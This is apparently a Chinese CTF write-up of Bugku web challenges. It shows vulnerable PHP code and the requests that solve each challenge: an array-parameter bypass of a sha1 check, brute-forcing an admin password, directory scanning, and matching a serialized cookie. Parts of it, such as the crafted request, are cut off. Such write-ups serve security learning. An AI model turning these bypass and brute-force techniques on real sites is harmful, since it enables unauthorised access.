题目源于bugku web
各种绕过哟
解题
<?php highlight_file('flag.php');
  $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}';
  if (isset($_GET['uname']) and isset($_POST['passwd'])) {          if ($_GET['uname'] == $_POST['passwd'])         print 'passwd can not be uname.';               else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))         die('Flag: '.$flag);     else         print 'sorry!'; } ?>
 
 
 
  http: ?uname[]=hello &id=margin
  passwd[]=HELLO
 
  Flag: flag{9e678a37c93533fc0bf8c99bd3ea5fe1}
  这里使用的是火狐的hackbar插件,bp需要加上: Content-Type: application/x-www-form-urlencoded
   | 
 
总结
代码审计-数组绕过
需要管理员
解题





爆破出密码


结论
BP字典爆破
后台目录文件扫描
点login咋没反应
解题


- 尝试在有限的html源代码当中进行翻找,仅仅找到一个css的src。
 
- 尝试进行目录扫描,扫到的除了index.php,还有一个没有展示代码的flag.php
 

尝试访问
获得源代码
<?php error_reporting(0); $KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU']; if(isset($_GET['23327'])){     show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") {        echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center">   <form method="POST" action="#">     <p><input name="user" type="text" placeholder="Username"></p>     <p><input name="password" type="password" placeholder="Password"></p>     <p><input value="Login" type="button"/></p>   </form> </div> </body> </html>
  <?php } ?>
   | 
 
核心代码
$KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU']; if(isset($_GET['23327'])){     show_source(__FILE__); }
 
 
 
  elseif (unserialize($cookie) === "$KEY") {        echo "$flag"; }
   | 
 
数据包配置成下面即可。提交表单的方式是自己构造一个表单,使用get方式提交到指定地址。
GET /index.php HTTP/1.1 Host: 114.67.175.224:16422 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*
 
 
 
 
 
 
   | 
 
得到flag数据包
HTTP/1.1 200 OK Date: Fri, 21 Apr 2023 09:21:28 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.6 Content-Length: 38 Connection: close Content-Type: text/html
  flag{5dbc2bf735b5715dfdae97b6e7b85478}
   | 
 

结论
在做测试时,网站的src资源要尽可能的利用起来,每一个src资源说不定都是突破口。